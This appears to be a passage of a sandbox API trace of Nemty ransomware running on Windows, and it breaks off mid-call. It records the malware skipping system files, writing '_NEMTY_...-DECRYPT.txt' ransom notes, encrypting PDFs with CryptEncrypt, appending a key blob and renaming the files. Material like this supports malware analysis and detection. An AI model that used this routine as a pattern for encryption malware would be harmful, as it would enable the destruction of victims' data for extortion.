[0172.095] lstrcmpiW (lpString1="SKY", lpString2="AUTOEXEC.BAT") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="ntuser.dat") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="desktop.ini") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="CONFIG.SYS") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="RECYCLER") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="BOOTSECT.BAK") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="bootmgr") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="programdata") returned 1 [0172.095] lstrcmpiW (lpString1="SKY", lpString2="appdata") returned 1 [0172.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SKY", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SKY", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SKY", lpUsedDefaultChar=0x0) returned 3 [0172.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SKY", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SKY", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SKY", lpUsedDefaultChar=0x0) returned 3 [0172.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0172.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0172.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0172.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.096] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.097] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.097] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.098] CloseHandle (hObject=0x254) returned 1 [0172.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0172.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.098] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.099] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.099] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.100] CloseHandle (hObject=0x254) returned 1 [0172.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.100] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a372450, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a372450, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.100] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.100] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a372450, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a372450, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.100] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.100] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.100] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x161fc, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0172.100] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0172.101] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0172.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.101] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0172.102] Sleep (dwMilliseconds=0x5) [0172.113] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a3be710, dwHighDateTime=0x1d561e8)) [0172.113] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a3be710, dwHighDateTime=0x1d561e8)) [0172.113] GetLastError () returned 0xb7 [0172.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.113] GetLastError () returned 0xb7 [0172.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.113] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.113] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.113] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0172.113] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="RzbbDUGGvPVhsivbPn05GpJevGatZCXgX+dIP4YBjKFi8NKMYkQjrAHoSyeP8T93\r\nZD4xngKADhwZ0MB22C6ZMWrKastqfZwWi/3ol1kLKWYol861rW/x343+jwMKlcl/\r\ndIi7rK0HL8txZcU92ySvoijoHVv79Is9OYETsAwsNycP1+GirgcR9WupDGmCWQO8\r\nc1OhzMHo7DTbeqF00sLMPCMyAML79BK71uGUxtXnvFQW9rotjy/ky6VMwMgkPzxf\r\nt84mP3stUufCdoOnfN4dP1UCdA2nvlk/T/ffkXu3MK/wMsT6V7yh3H1h6l5Fj9uW\r\nOb5lo5vskf7yHuoGLWiLCQ==\r\n", pcchString=0x653e5dc) returned 1 [0172.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0172.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.113] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.113] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=90620) returned 1 [0172.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x161f0) returned 0x6352c48 [0172.114] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.114] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x161f0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x161f0, lpOverlapped=0x0) returned 1 [0172.121] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.121] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x161f0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x161f0, lpOverlapped=0x0) returned 1 [0172.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.122] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=90620, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x161fc [0172.122] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.122] CloseHandle (hObject=0x3b0) returned 1 [0172.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0172.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0172.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.122] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0172.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0172.124] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.125] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0172.125] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0172.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.125] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, 